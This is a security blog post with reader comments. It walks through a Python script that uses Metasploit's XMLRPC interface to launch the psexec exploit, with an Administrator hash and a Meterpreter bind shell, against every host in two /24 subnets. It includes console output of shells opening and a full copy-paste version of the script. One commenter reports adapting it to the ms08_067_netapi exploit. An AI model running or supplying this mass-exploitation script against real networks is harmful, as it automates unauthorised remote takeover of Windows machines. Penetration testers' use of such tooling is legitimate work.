Blog.HappyPacket.net

Security Notes, News, and Thoughts

PSExec Scanner via Metasploit XMLRPC

I was inspired by Jabra's excellent post on creating a PSExec scanner with Metasploit and Perl to demonstrate how this same thing could be done locally or remotely using XMLRPC. The original post by Jabra is also a good way to do this, and can be found here: http://spl0it.wordpress.com/2009/12/17/metasploit-psexec-scanner-via-perl/

Python and libxmlrpc make an easy way to accomplish this task. To start with, we need to start Metasploit up on our host system and start the xmlrpc module

sussurro@msfdev:~/metasploit$ ./msfconsole

# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #


=[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 305 exploits - 67 auxiliary
+ -- --=[ 171 payloads - 20 encoders - 6 nops
=[ svn r7908 updated today (2009.12.17)

msf > load xmlrpc Pass=abc123 ServerType=Web
[*] XMLRPC Service: 127.0.0.1:55553
[*] XMLRPC Username: msf
[*] XMLRPC Password: abc123
[*] XMLRPC Server Type: Web
[*] XMLRPC Web URI: /RPC2
[*] Successfully loaded plugin: xmlrpc
msf >
After we have XMLRPC loaded, then we can get down to some python programming.

The assumption is, much like with Jabra's program, that we are going to be scanning 2 networks, the 192.168.1.X and the 2.X networks. The first thing we need to do is get authenticated into Metasploit.
user = "msf"
password = "abc123"
token = ""

msf = xmlrpclib.ServerProxy("http://localhost:55553/RPC2")
auth = msf.auth.login(user,password)

if auth["result"] == "success" :
token = auth["token"]
else:
exit("Login failed, try again\n")

We setup our username, msf, and our super secret password of abc123 first, and then we use the xmlrpclib library to connect to our Metasploit server. Once we are connected, the msf object holds our connection information.

When we are connected, the first thing we need to do is authenticate so that we get an authentication token. The authentication token is required for all future actions unless your session goes idle. We authenticate with the "auth.login" method and the object we get back contains our token.

Next we need to call our actual exploit, to do this we create a small function to make the calls a little bit more clear.

def callSploit(ip):
ret = msf.module.execute(token,"exploit","windows/smb/psexec",
{
"RHOST" : ip,
"PAYLOAD" : "windows/meterpreter/bind_tcp",
"SMBUser" : "Administrator",
"SMBPass" : "LM:NTLM HASH" })
if ret["result"] != "success" :
print "Exploit failed for " + ip + "\n"

We have defined a function called callSploit which takes an IP address. We are asking our Metasploit connection to launch the module.execute function, specifying our authentication token, the type of module we are calling (exploit) and the module itself that we will be using. The final argument is all of the arguments that we would traditionally pass inside the Metasploit console. Once we launch the exploit, we get back a result object, and a result of success means that the request was valid. While the requests are launching, we can see the sessions popping up in the Metasploit console and can interact with them one at a time.

The next stage in our program is to do the actual call of our new function:
for net in range(1,2):
for ip in range(1,254):
callSploit("192.168." + str(net) +"."+ str(ip))
time.sleep(1)


print "DONE.. check for shells"
Here we have just went through the 192.168.1 and .2 range and the list of IP addresses valid for each submit and executed our callSploit function. The jobs will be running quickly, however if you look inside msfconsole and type in "jobs" repeatedly you should see

msf > jobs

Jobs
====

Id Name
-- ----
2 Exploit: windows/smb/psexec

Finally, once you have a host that works you will hopefully see

[*] Meterpreter session 4 opened (192.168.1.5:36435 -> 192.168.1.44:4444)
[*] Meterpreter session 5 opened (192.168.1.5:43357 -> 192.168.1.130:4444)
[*] Meterpreter session 6 opened (192.168.1.5:48619 -> 192.168.2.3:4444)


To get Metasploit, go over to http://www.metasploit.com
Jabra's blog is a great read: http://spl0it.wordpress.com

Here is the script in easier copy and paste form:
#!/usr/bin/python

import xmlrpclib
import time

user = "msf"
password = "abc123"
token = ""

msf = xmlrpclib.ServerProxy("http://localhost:55553/RPC2")
auth = msf.auth.login(user,password)

if auth["result"] == "success" :
token = auth["token"]
else:
exit("Login failed, try again\n")

def callSploit(ip):
ret = msf.module.execute(token,"exploit","windows/smb/psexec",
{
"RHOST" : ip,
"PAYLOAD" : "windows/meterpreter/bind_tcp",
"SMBUser" : "Administrator",
"SMBPass" : "LM:NTLM HASH" })
if ret["result"] != "success" :
print "Exploit failed for " + ip + "\n"

for net in range(1,2):
for ip in range(1,254):
callSploit("192.168." + str(net) +"."+ str(ip))
time.sleep(1)


print "DONE.. check for shells"


2 comments:

kain said...

Nice post, I've to do some minimal modifications to test it with another exploit (ms08_67_netapi), and the indentation that python needs, but it worked like a charm, I'm trying to do the same thing with perl, if I have some news on this I'll back to let you know. thanks for sharing ^^

kain said...

Here is the perl version of your script it was very helpful to me, http://pastebin.com/fPkZhRNm

I'm interested on Nsploit but I cannot get the script working, maybe I'm doing something wrong, I don't see any error on nmap...

There was an error in this gadget